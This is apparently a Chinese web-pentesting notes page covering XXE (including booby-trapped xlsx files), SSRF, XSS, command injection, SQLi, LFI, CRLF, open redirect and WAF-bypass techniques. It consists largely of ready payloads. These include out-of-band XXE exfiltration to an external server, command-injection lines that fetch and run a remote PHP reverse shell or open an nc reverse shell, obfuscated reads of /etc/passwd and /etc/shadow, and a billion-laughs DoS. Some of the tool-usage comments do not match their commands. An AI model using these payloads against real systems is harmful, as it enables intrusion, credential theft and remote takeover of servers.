xxe— hacking wite excel变种版

现在excel本质上就是一个包含xml文档的压缩文件,和docx,ppt一样,这就可以被称之为OOxml,即
office open xml

所以这有什么问题呢,就是说当我们要在某个地方允许上传这种ooxml的时候,如果没有安全配置器,那么这个存在xxe是必然的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir xml && cd xml

┌──(kali㉿kali)-[~/Desktop/xml]
└─$ unzip ../0.xlsx
Archive: ../0.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: docProps/app.xml
extracting: [trash]/0000.dat
inflating: xl/_rels/workbook.xml.rels
inflating: xl/styles.xml
inflating: xl/theme/theme1.xml
inflating: xl/workbook.xml
inflating: xl/worksheets/sheet1.xml
inflating: docProps/core.xml

创建一个崭新的excel,虽然你可能在里面键入一些文本,但这是无关紧要的,

要使用的攻击文件也会因为所使用的库而有所不同。大部分解析工作通常是从xl/workbook.xml开始的,这个文件包含了所有的工作表的信息,包括工作表的名称和位置。

各种工作表也可以在xl/worksheets目录下找到,这里的文件包含了工作表的内容,这些内容是以xml格式存储的。

所以我认为可以在这个文件中下功夫

—2025-1-7补充

其实后面我看了看别人的,不一定非要在workbook.xml,解压后的[Content_Types].xml也是可以下手

看了看佬的

1
2
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "dnslog的地址或者说你监听的地址/"> ]>
<x>&xxe;</x>

然后压缩为xslx上传

可以看看这篇
xxe-excel

ssrf-in-pdf

如果你访问的某个网站存在下列功能之一,那就可能存在ssrf了

1
2
3
4
打印pdf报告
生成报告文件
提交数字签名
····

因为都会生成pdf形式的文件,而里面的pdf解析器/js会获取其中数据并将其添加到网页页面中,

在 PDF HTML注入中利用SSRF

PDF解析器html/XSS 实现SSRF

IDOR

简单来说就是比如

1
https://insecure-website.com/customer_account?customer_number=132355

这个后面的132355就是idor,我们只需要更改后面的customer_number就可以绕过访问控制查看其它客户的记录

payload

xss

waf
1
2
3
<svg onload=alert&#0000000040document.cookie)> 
<svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
WAF:
1
2
3
4
<details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location);
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>

xxe

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
示例)
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
实体扩展 - DOS)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
远程攻击 - 通过外部 xml 包含
1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>
UTF-7
1
2
3
4
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd">
%remote;
%send;
]>
<data>4</data>

File stored on http://publicServer.com/parameterEntity_sendftp.dtd

<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

ssrf

1
2
3
4
5
http://0177.1/

http://127.000.000.1

http://0x7f.1/

如果是其他什么地址,可以用http://www.subnetmask.info/ 计算

伪协议

1
2
3
4
5
gopher://, 
dict://,
php://,
jar://,
tftp://

通配符

xip.io是一个提供通配符DNS解析的服务,它将域名中的IP地址部分解析为实际的IP地址

nip.io也是

1
2
3
4
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io
1
2
3
4
5
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

AWS EC2 元数据(一种信息泄露

1
2
3
http://x.x.x.x/latest/meta-data/
http://x.x.x.x/latest/user-data/local-hostname
http://x.x.x.x/latest/user-data/public-hostname

LFI

1
2
3
4
5
6
7
8
9
10
../\

..\/

/..

\/..

/%5c..

rce

Werkzeug 调试器

1
2

strіng
1
2
3
4
5
6
7
8
9
10
11
12
13
14
i'''d
i"""d

\l\s -l\a\h

cat /e?c/p?ss??
cat /e??/??ss*

{ls,}
{ls,-a}

壳震漏洞
() { :;}; echo vulnerable
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

打开重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/%09/google.com


/%5cgoogle.com


//www.google.com/%2f%2e%2e


//www.google.com/%2e%2e


//google.com/


//google.com/%2f..


//\google.com

/\victim.com:80%40google.com
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
?url=http://{target}


?url=https://{target}


?next=http://{target}


?next=https://{target}


?url=https://{target}


?url=http://{target}


?url=//{target}


?url=$2f%2f{target}


?next=//{target}


?next=$2f%2f{target}


?url=//{target}


?url=$2f%2f{target}


?url=//{target}


/redirect/{target}


/cgi-bin/redirect.cgi?{target}


/out/{target}


/out?{target}


/out?/{target}


/out?//{target}


/out?/\{target}


/out?///{target}


?view={target}


?view=/{target}


?view=//{target}


?view=/\{target}


?view=///{target}


/login?to={target}


/login?to=/{target}


/login?to=//{target}


/login?to=/\{target}


/login?to=///{target}

nuclei 使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 显示帮助信息
nuclei -h

# 显示 Nuclei 的当前版本
nuclei -version

# 从文件中加载目标列表
nuclei -l targets.txt -t ~/nuclei-templates/

# 指定单个目标进行测试
nuclei -t https://example.com -t ~/nuclei-templates/

# 以静默模式运行 Nuclei(抑制输出)
nuclei -u https://example.com -t ~/nuclei-templates/

# 指定使用的并发线程数
nuclei -silent -t https://example.com -t ~/nuclei-templates/

# 跳过需要身份验证的模板
nuclei -c 10 -t https://example.com -t ~/nuclei-templates/

# 自定义 Nuclei 报告的输出格式
nuclei -no-verify -t https://example.com -t ~/nuclei-templates/

# 忽略 SSL 证书错误
nuclei -o output.txt -t https://example.com -t ~/nuclei-templates/

# 指定自定义 HTTP 头包含在请求中
nuclei -insecure -t https://example.com -t ~/nuclei-templates/

# 指定自定义用户代理字符串包含在请求中
nuclei -headers "Authorization: Bearer TOKEN" -t https://example.com -t ~/nuclei-templates/

nuclei -user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -t https://example.com -t ~/nuclei-templates/

重定向

额,应该叫开放式重定向

怎么说呢,就是让页面跳转到攻击的页面,比方说

as
1
2
3
4
https://vulnerable-website.com/redirect?url=https://malicious-website.com


https://vulnerable-website.com/profile?redirect_uri=https://malicious-website.com

这就是重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
?redirect_url= 

?next=

?continue=

?goto=

?return_Url=

?destination=

?fromURI=

?redirect=

?go=

?from=

?return=

?rurl=

?checkout_url=

开放式重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
redirect

redirect_to

redirect_url

redirectUrl

callback

toUrl

fromUrl

request

oauth_callback

url

go

jump

jump_to

target

service

to

returnUrl

goTo

link

linkto

domain

return

locationUrl

r_url

如果是黑盒可以考虑open-redirect

白盒的话可以参考

1
response.sendRedirect(request.getParameter("url"));

1
2
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

1
2
string url = request.QueryString["url"];
Response.Redirect(url);

1
redirect_to params[:url]

1
redirect_url = request.GET.get("url")HttpResponseRedirect(redirect_url)

1
redirect\_url = request.form\['url'\] redirect(redirect\_url)

绕过方法的话请参考这篇URL重定向漏洞解析 ,师傅写的很详细了

csrf

有点像,木偶戏?简单来说就是你在一个已经进行过身份认证的人的浏览器(也不只是有浏览器),执行某些攻击者不必要的操作

csrf攻击类型

  1. 基于GET请求的CSRF攻击

    恶意请求通过GET类型发送,通常是镶嵌在连接或者图片链接中

  2. 基于POST请求的CSRF攻击

    恶意请求通过POST类型发送,通常是镶嵌在表单或者js代码中

一个POST的攻击载荷

1
2
3
4
5
<img src="https://vulnerable-website.com/transfer?amount=1000&recipient=attacker" width="0" height="0">
<form action="https://vulnerable-website.com/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="submit" value="Click me!">
</form>

Cookie 只是一个保存在本地浏览器中的 4KB 文件,用于存储用户独有的信息,如偏好设置、会话 ID 和购物车中的商品,然后服务器会检索这些信息.

cors跨源资源共享

CORS:全称跨域资源共享(Cross-Origin Resource Sharing)

漏洞原理

cors可分为两类:简单请求和非简单请求

简单请求:请求方法是GET、HEAD、POST中的一种,且HTTP头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type

非简单请求:请求方法是PUT、DELETE、CONNECT、OPTIONS、TRACE、PATCH,或者Content-Type字段的值不是application/x-www-form-urlencoded、multipart/form-data、text/plain

当浏览器发现服务器的请求为简单请求时,会在头信息里加入Origin字段。Origin字段代表此次请求来自哪个域,服务器就可以检验是否来自该域。如果匹配,服务器就会在响应里增添三个字段:

1
2
3
Access-Control-Allow-Origin
Access-Control-Allow-Credentials
Access-Control-Expose-Headers

其中 Access-Control-Allow-Origin是必须有的,Access-Control-Allow-Origin字段代表允许哪个域访问。当字段值为*时,就代表任意域都可以访问,这样,就导致了Cors漏洞的产生

item.filename

上面是我访问bili的,他明确规定了Access-Control-Allow-Originhttps://www.bilibili.com

crlf

CRLF注入是一种利用应用程序中的CRLF(回车换行)字符来执行恶意操作的攻击。

CRLF实际上是由CR和LF两个字符拼接而成,他们分别表示回车("\r")/换行("\n"),十六进制表示为0x0d0x0a
ASCII表示为13/10

像是这样,我的想法是注入一下Set-Cookie:crlf=true,所以我在里面%0d%0aSet-Cookie:crlf=true,这样如果成了的话就可以在响应头里看到Set-Cookie:crlf=true

但是这个并没有成功,o(╥﹏╥)o

这玩意看着没什么危害,但是试想一下,如果我在后面添一个xss,像是这样

1
%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>0

这样的话,如果有人访问这个页面,就会弹出xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
🔹 /%%0a0aSet-Cooke:crlf
🔹 /%0aSet-Cooke:crlf
🔹 /%0d%0aSet-Cooke:crlf
🔹 /%0dSet-Cooke:crlf
🔹 /%23%0aSet-Cooke:crlf
🔹 /%23%0d%0aSet-Cooke:crlf
🔹 /%23%0dSet-Cooke:crlf
🔹 /%25%30%61Set-Cooke:crlf
🔹 /%25%30aSet-Cooke:crlf
🔹 /%250aSet-Cooke:crlf
🔹 /%25250aSet-Cooke:crlf
🔹 /%2e%2e%2f%0d%0aSet-Cooke:crlf
🔹 /%2f%2e%2e%0d%0aSet-Cooke:crlf
🔹 /%2F%0d%0aSet-Cooke:crlf
🔹 /%3f%0d%0aSet-Cooke:crlf
🔹 /%3f%0dSet-Cooke:crlf
🔹 /%u000aSet-Cooke:crlf
🔹 /%E5%98%8D%E5%98%8ASet-Cooke:crlf

xss

三种XSS

  1. 反射型XSS
    工作原理:恶意脚本从网站服务器反射回用户。这种情况通常发生在用户输入未经过适当消毒或编码就包含在响应中的情况下。

     ○ 示例:搜索栏在结果页面显示搜索查询时未对特殊字符进行编码。攻击者可在搜索查询中注入脚本,然后在受害者查看结果时在其浏览器中执行该脚本。
    
  2. 存储型XSS
    工作原理:恶意脚本存储在网站服务器上,每次加载受影响页面时都会执行。这种情况可能发生在评论区、论坛或其他存储用户生成内容的区域。

     ○ 示例:包含脚本的博客评论。每次有人浏览该评论时,脚本就会在其浏览器中执行
    
  3. dom型xss
    工作原理:恶意脚本是通过修改页面的文档对象模型 (DOM) 而执行的。当用户输入被用于动态更新页面内容而未进行适当消毒时,就会发生这种情况。

     ○ 示例:一个使用 JavaScript 根据用户输入更新 URL 的网站。攻击者可在 URL 中注入脚本,然后在 JavaScript 代码运行时执行该脚本
    
1
2
3
4
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
"><script>alert('XSS')</script>
javascript:alert('XSS')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
document.url
document.documentURI
document.URLUnencoded
document.baseURI
document.referrer
location
location.href
loaction.search
location.hash
location.pathname
window.cookie
window.referrer
window.name

element.innerHTML()
element.outerHTML()
eval()
setTimeout()
setInterval()
documemt.write()
document.writeln()

绕waf的xss

CloudFlare WAF

1
2
3
<svg onload=alert&#0000000040document.cookie)> 
<svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b>
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
WAF
1
2
3
4
<details/open/ontoggle=confirm('XSS')>
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location);
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>

指令注入

首先是常见的连接符

1
2
3
4
5
6
&
;
Newline (0x0a or \n)
&&
|
||

试例

1
x.x.x.x||ping+-c+10+127.0.0.1||

1
x.x.x.x||whoami>/var/www/images/output.txt||
1
2
x.x.x.x||nslookup+burp.collaborator.address||
x.x.x.x||nslookup+`whoami`.burp.collaborator.address||

常见参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
cmd
exec
command
execute
ping
query
jump
code
reg
do
func
arg
option
load
process
step
read
function
req
feature
exe
module
payload
run
print

常见命令

1
2
3
4
whoami
ifconfig
ls
uname -a

常见命令视窗

1
2
3
4
whoami
ipconfig
dir
ver

抓取密码

1
2
3
4
5
6
7
8
9
cat /etc/passwd
cat /e”t”c/pa”s”swd
cat /’e’tc/pa’s’ swd
cat /etc/pa??wd
cat /etc/pa*wd
cat /et’ ‘c/passw’ ‘d
cat /et$()c/pa$()$swd
{cat,/etc/passwd}
cat /???/?????d

绕过waf

1
2
3
vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload

lfi-rfi 文件包含

如何识别lfi

  1. 参数篡改:
    查找包含 page=、file=、doc= 等参数的 URL。这些通常就是漏洞所在.
  2. 目录遍历:
    尝试在参数值中添加 ../ (点斜线)。这将尝试向上浏览文件系统。如果看到不同的内容或错误,你可能发现了一些问题.
  3. 空字节注入:
    在文件路径末尾添加空字节 (%00)。有些系统会在空字节后停止处理,从而有可能绕过过滤器。
  4. 日志文件中毒:
    如果能在日志文件中注入代码,就有可能通过 LFI 触发它。这是一种更高级的技术

思路

LFI全名实际上是Load File Inclusion,即本地文件包含漏洞

所以比较常见的就是..\etc\passwd

like this

1
2
3
4
5
6
7
8
<?php

$file = $_GET[ 'page' ];

$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

$_GET['page'];这个就是我们可以注入的地方,页面通过提取URL查询page参数的值,
str_replace( array( "http://", "https://" ), "", $file );删除了http和https
str_replace( array( "../", "..\"" ), "", $file );删除了../和..”

所以综上,我们可以用这个`…/./…/./…/./…/./…/./

而RFI全名实际上是Remote File Inclusion,即远程文件包含漏洞

所以一般都是带IP的恶意文件

reverse shell generator下载反向链接脚本,并连接

xxe —just xxe

我就说一句,在线测试工具和发包格式

1
2
3
4
5
http://ceye.io/

http://www.dnslog.cn/

https://dnslog.io/

1
Content-Type: application/xml
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]>

# or

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://127.0.0.1:80">
]>
<r>&sp;</r>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<r>&sp;</r>


# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>9011</rspCode><rspDesc><![CDATA[请求报文头部不能为空]]></rspDesc><digitalSign /><rspTime>2020-04-09 16:58:34.877</rspTime></header><body></body></response>

# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts1">
]>

<r>&sp;</r>

# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>7000</rspCode><rspDesc><![CDATA[接口程序执行错误]]></rspDesc><digitalSign /><rspTime>2020-04-09 17:01:08.121</rspTime></header><body></body></response>

—>从XML相关一步一步到XXE漏洞

—>XXE漏洞的利用

sqli —绕不过的

报错注入,联合注入,盲注….

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
经典 SQLI
基于错误的 SQLi:
输入:' OR 1=1 -- (单引号后加 OR 1=1 和注释)
预期结果:显示 SQL 语法或表/列名称的数据库错误信息。
为什么有效?OR 1=1 条件始终为真,导致查询返回所有行,注释 (--) 实际上忽略了原始查询的其余部分。

基于联合的 SQLi:
输入:' UNION SELECT username, password FROM users --
预期结果:如果存在漏洞,应用程序将从 "users "表中返回用户名和密码以及原始查询结果。
为什么有效UNION 运算符结合了两个 SELECT 语句的结果,允许攻击者从其他表中检索数据

盲 SQLi

基于布尔的 SQLi:
输入: ' AND 1=1 -- (真条件)
预期结果:应用程序的响应应与正常请求相同。
输入: ' AND 1=2 -- (错误条件)
预期结果:应用程序的响应应不同于正常请求。
为什么有效:攻击者可以通过观察应用程序的响应如何随注入条件的变化而变化来推断数据库的信息

基于时间的 SQLi:
输入: ' AND SLEEP(5) -- (休眠 5 秒钟)
预期结果:如果注入成功,应用程序的响应将延迟 5 秒。
○ 为何有效:SLEEP 功能会使数据库在指定时间内暂停,攻击者可以通过观察响应时间来推断注入是否有效。

外部 SQLI

基于 DNS 的渗透:
输入: ' UNION SELECT LOAD_FILE(concat('\\\\',@@version,'.evil-domain.com\\abc'))--

——> [python脚本/sqli]自己写的测试小脚本

ssrf

ssrf分为五类,分别是

  1. 基本 SSRF:
    攻击者可以访问互联网上任何可公开访问的资源。
  2. 盲人 SSRF:
    攻击者无法看到服务器端请求的响应,但仍可根据应用程序的行为推断信息。
  3. 带身份验证旁路的 SSRF:
    攻击者可以绕过身份验证机制访问受限资源。
  4. SSRF 到 Localhost:
    攻击者可以访问与网络应用程序运行在同一服务器上的服务。
  5. SSRF 到云元数据端点:
    攻击者可访问存储在云元数据服务中的敏感信息

tools:ffuf/Kiterunner/SSRFmap

可以看看这个师傅的,很详细的描述了ssrf实例和绕过手法

从0到1完全掌握 SSRF

不过这个我也是第一次见完整的

1
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

DNS重绑定

看不懂的话可以看这个详解DNS重绑定攻击

rce

当攻击者诱使网络应用程序或系统执行他们提供的代码时,就会出现 RCE 漏洞。这些代码可以是简单的命令,也可以是复杂的脚本,可用于执行各种恶意活动

RCE危害

目标系统执行攻击者的有效载荷,允许攻击者运行其代码,并有可能获得系统的控制权 攻击者的收益:攻击者现在可以执行各种操作,例如
窃取敏感数据
安装恶意软件
修改系统文件
发动进一步攻击

RCE类型

  • 命令注入:攻击者可将操作系统命令注入网络应用程序的输入中
  • 代码注入:代码注入:攻击者将代码注入网络应用程序的输入,然后由应用程序的解释器(如 PHP、Python、Java)执行
  • 反序列化漏洞:当序列化数据被应用程序反序列化时,攻击者可以操纵序列化数据执行任意代码
  • 文件上传漏洞:攻击者可将恶意文件上传到网络应用程序,然后在服务器上执行该文件

(原来文件上传和反序列化也算rce么)

简单的rce载荷

1
2
3
4
5
; whoami
$(whoami)
| whoami
|| whoami
&& whoami

顺便一提 SSTI模板注入

图片来源—>JKding233师傅

SSTI(模板注入)漏洞(入门篇)

墙裂推荐上面那篇,师傅很详细的列举了多种模板的SSTI

403-bypass

404是not found,403是forbidden,也就是禁止访问

比较常见的绕过就是

  1. 换请求方法,换成GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
  2. 绕过Ip限制

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    X-Originating-IP: 127.0.0.1
    X-Forwarded-For: 127.0.0.1
    X-Forwarded: 127.0.0.1
    Forwarded-For: 127.0.0.1
    X-Remote-IP: 127.0.0.1
    X-Remote-Addr: 127.0.0.1
    X-ProxyUser-Ip: 127.0.0.1
    X-Original-URL: 127.0.0.1
    Client-IP: 127.0.0.1
    True-Client-IP: 127.0.0.1
    Cluster-Client-IP: 127.0.0.1
    X-ProxyUser-Ip: 127.0.0.1
    Host: localhost
  3. url绕过
    通过使用X-Original-URL头部,或者X-Rewrite-URL等覆盖原来请求URL的路径

    1
    2
    3
    4
    5
    6
    GET / HTTP/1.1
    X-Original-URL: /admin/console
    X-Rewrite-URL: /admin/console
    Host: www.abc.com
    Host: 192.168.126.6

  4. 路径fuzz,比如/admin/改成/admin或者/admin/./等等

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    abc.com/admin => 403
    abc.com/admin/ => 200
    abc.com/admin// => 200
    abc.com//admin// => 200
    abc.com/admin/* => 200
    abc.com/admin/*/ => 200
    abc.com/admin/. => 200
    abc.com/admin/./ => 200
    abc.com/./admin/./ => 200
    abc.com/admin/./. => 200
    abc.com/admin/./. => 200
    abc.com/admin? => 200
    abc.com/admin?? => 200
    abc.com/admin??? => 200
    abc.com/admin…;/ => 200
    abc.com/admin/…;/ => 200
    abc.com/%2f/admin => 200
    abc.com/%2e/admin => 200
    abc.com/admin%20/ => 200
    abc.com/admin%09/ => 200
    abc.com/%20admin%20/ => 200

    其他的fuzz-dicts

waf-bypass

🤔
🤔
🤔
🤔
🤔
🤔

tools:wafw00f/BYPASSwaf/

绕过手法:

  • 1.大小写绕过
    像是这样
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    基本要求:

    <script>confirm()</script>

    旁路技术:

    <ScrIpT>confirm()</sCRiPt>

    基本要求:

    SELECT * FROM * WHERE OWNER = 'NAME_OF_DB'

    旁路技术:

    sELeCt * fRoM * wHerE OWNER = 'NAME_OF_DB'
  • URL编码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    被 WAF 屏蔽:

    <Svg/x=">"/OnLoAD=confirm()//

    旁路技术:

    %3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F

    被 WAF 屏蔽:

    UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)

    旁路技术:

    UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29

    • ASCII编码
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      基本要求:

      <marquee onstart=prompt()>

      混淆视听:

      <marquee onstart=\u0070r\u06f\u006dpt()>

      被 WAF 屏蔽:

      /?redir=http://google.com

      旁路技术:

      /?redir=http://google。com (Unicode alternative)

      被 WAF 屏蔽:

      <marquee loop=1 onfinish=alert()>x

      旁路技术:

      <marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)

      基本要求:

      ../../etc/shadow

      混淆视听:

      %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
  • HTML编码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    基本要求:

    "><img src=x onerror=confirm()>

    编码有效载荷:

    &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt;

    编码有效载荷:

    &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62;
  • 混合编码

  • 添加注释

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    被 WAF 屏蔽:

    <script>confirm()</script>

    旁路技术:

    <!--><script>confirm/**/()/**/</script>

    被 WAF 屏蔽:

    /?id=1+union+select+1,2--

    旁路技术:

    /?id=1+un/**/ion+sel/**/ect+1,2--

  • 双重编码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    基本要求:

    http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

    混淆有效载荷

    http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

    基本要求:

    <script>confirm()</script>

    混淆有效载荷

    %253Cscript%253Econfirm()%253C%252Fscript%253E

  • 通配符混淆

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    基本要求:

    /bin/cat /etc/passwd

    混淆有效载荷

    /???/??t /???/??ss??

    使用过的字符

    / ? t s

    基本要求:

    /bin/nc 127.0.0.1 443

    混淆有效载荷

    /???/n? 2130706433 443

    使用过的字符

    / ? n [0-9]

    基本要求:

    <script>confirm()</script>

    混淆有效载荷

    <script>eval('con'+'fi'+'rm()')</script>

    基本要求:

    /bin/cat /etc/shadow

    混淆有效载荷

    /bi'n'''/c''at' /e'tc'/sh''ad'ow

    Bash 允许执行路径连接

    基本要求:

    <iframe/onload='this["src"]="javascript:confirm()"';>

    混淆有效载荷

    <iframe/onload='this["src"]="jav"+"as&Tab;cr"+"ipt:con"+"fir"+"m()"';>


  • 垃圾字符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    基本要求:

    <script>confirm()</script>

    混淆有效载荷

    <script>+-+-1-+-+confirm()</script>

    基本要求:

    <BODY onload=confirm()>

    混淆有效载荷

    <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>


    基本要求:



    <a href=javascript;alert()>ClickMe



    旁路技术:



